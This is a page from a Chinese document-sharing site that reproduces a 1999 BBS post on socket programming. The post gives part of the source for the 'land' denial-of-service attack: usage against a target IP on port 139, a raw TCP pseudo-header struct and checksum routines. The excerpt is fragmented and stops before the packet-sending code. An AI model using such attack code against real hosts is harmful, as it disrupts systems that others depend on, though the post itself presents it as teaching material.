欢迎来到天天文库
浏览记录
ID:41033045
大小:30.00 KB
页数:4页
时间:2019-08-14
《网络socket编程(6) coolfire》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、武汉白云黄鹤站∶精华区发信人: cloudsky (晓舟·轩辕明月), 信区: Linux 标 题: 网络socket编程(6) 发信站: 武汉白云黄鹤站 (Mon Feb 8 20:22:44 1999) , 站内信件 11. land攻击源程序示例 /* 编译环境 solaris2.5.1 看过源程序就可以向Pwin平台下移植,用VC。因为这次是演示 Unix/Linux下Socket 编程,VC的程序可以参看Ipman附带的源程序,就不多说了。 编译
2、命令 cc -o land land.c -lsocket -lnsl 执行方法 因为要建立原始socket的缘故,必须在特权用户下 land targetIp 139
3、 113 执行纠错 在/usr/include/sys/errno.h中查看错误代码, 比如在非特权用户下会得到13号错误 意即权限否定。 一点说明 我是在翻看BSD Socket的过程中给这个程序加了详细注释, 并给出了一切编译运行的说明,初衷不过是想让大家能感性
4、 地认识一下Socket编程和曾经风靡一时的land攻击 因为Pwin98已经可以抵抗这种攻击,所以我想这样做没有太 多危害了。但是显然还有低版本的Pwin系列存在,革命靠自觉, 学习讨论都可以,不要拿着龌龊当有趣。希望这些文章能对爱好 Unix/Linux却没有太多时间折腾的朋友有所帮助,至少不要象我一 般瞎折腾良久浪费时间重复劳动。 毕竟我也是业余爱好,对于 BSD Socket编程根本是一窍
5、不通,那个破破的校验和算法与书中 提到的不一致,高手指点一下吧,sigh */ #include #include #include #include #include #include #include #include #include stru
6、ct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum (u_short* data, u_short length) { register long value; u_short i; value =
7、0; for (i = 0; i < (u_short)(length >> 1); i++) { value += data[i]; } if ((length & 1) == 1) { value += (data[i] << 8); } value = (value & 65535) + (value >> 16); return (~value); } /* 这个计算校验和的函数是我按书中描述写的,与原作者给的不一样 */ u_
8、short anotherChecksum (u_short* data, u_short length) { register long value; u_short i; value = 0; for (i = 0; i < (u_short)(length >> 1); i++) { value ^= data[i]; } return (~value); } int main (int argc, char* argv[]) { str
9、uct sockaddr_in sin; struct hostent *hoste; int sock, optval; char buffer[1024]; struct pseudohdr pseudoheader; /* 实际意义就是IP头+TCP头 */ struct ip *iphea
此文档下载收益归作者所有